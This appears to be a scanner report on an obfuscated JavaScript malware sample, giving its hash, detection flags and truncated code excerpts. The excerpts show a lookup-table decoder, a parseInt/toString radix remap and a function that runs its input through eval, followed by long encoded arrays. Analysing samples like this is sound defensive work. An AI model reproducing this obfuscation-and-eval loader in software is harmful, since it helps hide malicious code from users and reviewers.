Suspicious ^66% javascript-malware-collection Download

3cd8d60f2dca8c1e47dbbc649f0305d5e3043558bfc099fd846753855f099858.js

obfuscated eval execution

parseInt toString radix remapMassive array index assignment

SHA-2563cd8d60f2dca8c1e47dbbc649f0305d5e3043558bfc099fd846753855f099858

Evidence

Obfuscated increment/decrement via arithmetic lines 1–7

1var JDlPLssNSbanu=[];
2hSEAXYd=(-317+317)/621;while(true){if(hSEAXYd>=(69469+931)/550){break;}JDlPLssNSbanu[hSEAXYd]=String.fromCharCode(hSEAXYd);hSEAXYd++;}
3function hHImH(AfwahjfYkqN,tfzHdnKKppsPE,JWjTDlBu){YmCk=parseInt(AfwahjfYkqN,tfzHdnKKppsPE);ZXhXB=YmCk.toString(JWjTDlBu);return ZXhXB;}function CGlRxciSWlcHxRX(PELKwpMbUsbkraUlP){eval(PELKwpMbUsbkraUlP)}
4function rJbXzkFKIEGiMhIzbGHzuejtgsBxbmftcpdvnfrIdHTOwxEsxobOcJ(CoZGnTYfPcJNm,RmaGnIvtSHftDp){ return JDlPLssNSbanu[hHImH(CoZGnTYfPcJNm[RmaGnIvtSHftDp],(14908+767)/627,(-166+946)/78)];}
5function dzWlMKU(yuyPpXCCdFLglKXXRswPbacZkxKjvsWMQDJX) {return !isNaN(parseFloat(yuyPpXCCdFLglKXXRswPbacZkxKjvsWMQDJX)) && isFinite(yuyPpXCCdFLglKXXRswPbacZkxKjvsWMQDJX);}
6function kKihHcnWfNp(JJunSQTK,leKSBU){return JJunSQTK.split(leKSBU)}
7var M=[];M[0]="d";M[1]="a";M[2]="d";M[3]="a";M[4]="4i";M[5]="3m";M[6]="4e";M[7]="17";M[8]="35";M[9]="17";M[10]="2b";M …

Massive array index assignment line 8

8:4720… ]="4g";MW[864]="4e";MW[865]="4l";MW[866]="17";MW[867]="17";MW[868]="4n";MW[869]="d";MW[870]="a";MW[871]="17";MW[872]="17";MW[873]="17";MW[874]="17";MW[875]="17";MW[876]="17";MW[877]="17";MW[878]="17";MW[879]="17";MW[880]="17";MW[881]="45";MW[882]="42";MW[883]="17";MW[884]="1f";MW[885]="1f";MW[886]="1f";MW[887]="4a";MW[888]="41";MW[889]="4j";MW[890]="17";MW[891]="2i";MW[892]="3m";MW[893]="4g";MW[894]="41";MW[895]="1f";MW[896]="1g";MW[897]="1g";MW[898]="2c …